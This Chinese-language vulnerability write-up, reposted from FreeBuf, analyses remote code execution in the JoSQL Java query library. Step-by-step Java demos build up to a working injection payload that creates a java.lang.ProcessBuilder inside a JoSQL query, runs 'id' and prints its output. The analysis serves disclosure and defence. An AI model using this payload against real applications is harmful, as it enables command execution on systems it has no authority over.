JoSQL全稱SQL for Java Objects,提供了應用SQL語句的Java對象的集合的能力開發,JoSQL提供了搜索,排序,group等對Java對象的集合進行類似SQL的查詢應該應用的功能。
例如,查找所有在2004年內修改過的html文件:
SELECT * FROM java.io.File WHERE name $LIKE "%.html" AND toDate (lastModified) BETWEEN toDate ('01-12-2004') AND toDate ('31-12-2004')
java中使用JoSQL:
// 獲取 java.io.File 列表. List myObjs = getMyObjects (); // 創建查詢對象. Query q = new Query (); // Parse the SQL you are going to use, it is assumed here that // "myObjs" contains instances of "java.io.File". q.parse ("SELECT name,length " + "FROM java.io.File " + "WHERE fileExtension (name) = :fileExt " + "ORDER BY length DESC, name " + "EXECUTE ON RESULTS avg (:_allobjs, length) avgLength"); // 綁定參數類似于預編譯模式設置參數 q.setVariable ("fileExt", "java"); // 執行查詢. QueryResults qr = q.execute (myObjs); // Get the average length, this is a save value, the result // of executing the call "avg (:_allobjs, length)", it is saved against // key: "avgLength". Map saveValues = qr.getSaveValues (); Number avg = (Number) saveValues.get ("avgLength"); // 循環讀取結果 List res = qr.getResults (); for (int i = 0; i < res.size (); i++) { // This time there is a List for each row, index 0 holds the name of // the file that matched, index 1 holds the length. List r = (List) res.get (i); System.out.println ("NAME: " + r.get (0)); System.out.println ("LENGTH: " + r.get (1) + ", AVG: " + avg); } 具體其他詳細操作可參考:http://josql.sourceforge.net
下面分析下遠程代碼造成的原因
1.首先寫一個demo查詢從User列表中查詢:
package josql; import java.util.ArrayList; import java.util.List; import org.josql.Query; import org.josql.QueryResults; public class Demo { /** * user對象 * * @author nike * */ class User { private String username; private String password; public String getUsername() { return username; } public void setUsername(String username) { this.username = username; } public String getPassword() { return password; } public void setPassword(String password) { this.password = password; } public void help() { System.out.println("help method:"+username + "|" + password); } } /** * 獲取user列表用來作為查詢集 * * @return */ public List<User> getObjs() { List<User> users = new ArrayList<User>(); User a = new User(); a.setUsername("nike"); a.setPassword("cb39554898fc98f9329d37242045e728"); User b = new User(); b.setUsername("smith"); b.setPassword("12345678"); users.add(a); users.add(b); return users; } public void query() { List<User> myObjs = getObjs(); Query q = new Query(); try { q.parse("SELECT * from josql.Demo$User"); QueryResults qr = q.execute(myObjs); @SuppressWarnings("unchecked") List<User> res = qr.getResults(); for (int i = 0; i < res.size(); i++) { User user = (User)res.get(i); System.out.println("username:"+user.username+"|password:"+user.password); } } catch (Exception e) { e.printStackTrace(); } } public static void main(String[] args) { Demo demo = new Demo(); demo.query(); } }
上面代碼運行結果是:
username:nike|password:cb39554898fc98f9329d37242045e728 username:smith|password:12345678
現在將sql語句換成:
package josql; import java.util.ArrayList; import java.util.List; import org.josql.Query; import org.josql.QueryResults; public class Demo { /** * user對象 * * @author nike * */ class User { private String username; private String password; public String getUsername() { return username; } public void setUsername(String username) { this.username = username; } public String getPassword() { return password; } public void setPassword(String password) { this.password = password; } public void help() { System.out.println("help method:"+username + "|" + password); } } /** * 獲取user列表用來作為查詢集 * * @return */ public List<User> getObjs() { List<User> users = new ArrayList<User>(); User a = new User(); a.setUsername("nike"); a.setPassword("cb39554898fc98f9329d37242045e728"); User b = new User(); b.setUsername("smith"); b.setPassword("12345678"); users.add(a); users.add(b); return users; } public void query() { List<User> myObjs = getObjs(); Query q = new Query(); try { q.parse("SELECT help from josql.Demo$User"); QueryResults qr = q.execute(myObjs); @SuppressWarnings("unchecked") List<User> res = qr.getResults(); for (int i = 0; i < res.size(); i++) { System.out.println(res.get(i)); } } catch (Exception e) { e.printStackTrace(); } } public static void main(String[] args) { Demo demo = new Demo(); demo.query(); } }
則運行結果:
help method:nike|cb39554898fc98f9329d37242045e728 help method:smith|12345678 [null] [null]
從上面結果就可以看出help方法被調用了,從而可以得知joSQL可以調用無參函數(關鍵)。
2.joSQL存在一個特性,即可以通過new來構造一個新的對象比如:
package josql; import java.util.ArrayList; import java.util.List; import org.josql.Query; import org.josql.QueryResults; public class Demo { /** * user對象 * * @author nike * */ class User { private String username; private String password; public String getUsername() { return username; } public void setUsername(String username) { this.username = username; } public String getPassword() { return password; } public void setPassword(String password) { this.password = password; } public void help() { System.out.println("help method:"+username + "|" + password); } } /** * 獲取user列表用來作為查詢集 * * @return */ public List<User> getObjs() { List<User> users = new ArrayList<User>(); User a = new User(); a.setUsername("nike"); a.setPassword("cb39554898fc98f9329d37242045e728"); User b = new User(); b.setUsername("smith"); b.setPassword("12345678"); users.add(a); users.add(b); return users; } public void query() { List<User> myObjs = getObjs(); Query q = new Query(); try { q.parse("SELECT new josql.Demo() from josql.Demo$User"); QueryResults qr = q.execute(myObjs); @SuppressWarnings("unchecked") List<User> res = qr.getResults(); for (int i = 0; i < res.size(); i++) { System.out.println(res.get(i)); } } catch (Exception e) { e.printStackTrace(); } } public static void main(String[] args) { Demo demo = new Demo(); demo.query(); } }
執行結果:
josql.Demo@447ffd8e josql.Demo@2edf98c4
3.joSQL另外一個特性就是可以通過EXECUTE ON支持函數式編程。其執行結果可以通過變量作為其他查詢參數來調用
語法:EXECUTE ON ALL | RESULTS | GROUP_BY_RESULTS Expression [ , Expression ]* [ [ AS ] Alias ]
例子:
package josql; import java.util.ArrayList;import java.util.List; import org.josql.Query;import org.josql.QueryResults; public class Demo { /** * user對象 * * @author nike * */ class User { private String username; private String password; public String getUsername() { return username; } public void setUsername(String username) { this.username = username; } public String getPassword() { return password; } public void setPassword(String password) { this.password = password; } public void help() { System.out.println("help method:"+username + "|" + password); } } /** * 獲取user列表用來作為查詢集 * * @return */ public List<User> getObjs() { List<User> users = new ArrayList<User>(); User a = new User(); a.setUsername("nike"); a.setPassword("cb39554898fc98f9329d37242045e728"); User b = new User(); b.setUsername("smith"); b.setPassword("12345678"); users.add(a); users.add(b); return users; } public void query() { List<User> myObjs = getObjs(); Query q = new Query(); try { q.parse("SELECT username from josql.Demo$User group by @a EXECUTE ON ALL new josql.Demo() AS a"); QueryResults qr = q.execute(myObjs); @SuppressWarnings("unchecked") List<User> res = qr.getResults(); for (int i = 0; i < res.size(); i++) { System.out.println(res.get(i)); } } catch (Exception e) { e.printStackTrace(); } } public static void main(String[] args) { Demo demo = new Demo(); demo.query(); }}
執行結果:
[josql.Demo@4094de98]
從結果中可以看到Demo成功被創建。
結合第1,2,3點可以執行無參函數,則我們可以調用ProcessBuilder的start可以執行系統命令。
package josql; import java.util.ArrayList;import java.util.List; import org.josql.Query;import org.josql.QueryResults; public class Demo { /** * user對象 * * @author nike * */ class User { private String username; private String password; public String getUsername() { return username; } public void setUsername(String username) { this.username = username; } public String getPassword() { return password; } public void setPassword(String password) { this.password = password; } public void help() { System.out.println("help method:"+username + "|" + password); } } /** * 獲取user列表用來作為查詢集 * * @return */ public List<User> getObjs() { List<User> users = new ArrayList<User>(); User a = new User(); a.setUsername("nike"); a.setPassword("cb39554898fc98f9329d37242045e728"); User b = new User(); b.setUsername("smith"); b.setPassword("12345678"); users.add(a); users.add(b); return users; } public void query() { List<User> myObjs = getObjs(); Query q = new Query(); try { q.parse("SELECT username from josql.Demo$User where 1=1 group by @c.readLine,@c.readLine EXECUTE ON ALL new java.lang.ProcessBuilder(['id']) AS a, " + "new java.io.InputStreamReader(@a.start.getInputStream) as b, new java.io.BufferedReader(@b) as c"); QueryResults qr = q.execute(myObjs); @SuppressWarnings("unchecked") List<User> res = qr.getResults(); for (int i = 0; i < res.size(); i++) { System.out.println(res.get(i)); } } catch (Exception e) { e.printStackTrace(); } } public static void main(String[] args) { Demo demo = new Demo(); demo.query(); }}
執行結果:
[uid=501(nike) gid=20(staff) groups=20(staff),501(access_bpf),401(com.apple.sharepoint.group.1),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),33(_appstore),100(_lpoperator),204(_developer),398(com.apple.access_screensharing),399(com.apple.access_ssh), null] [null, null]
則系統命令成功被執行。
利用場景
當某處查詢利用了joSQL并且存在注入,則通過這個漏洞直接調用系統命令。
[作者/安恒信息(企業賬號),轉自FreeBuf黑客與極客(FreeBuf.COM)]
原創文章,作者:stanley,如若轉載,請注明出處:http://www.www58058.com/724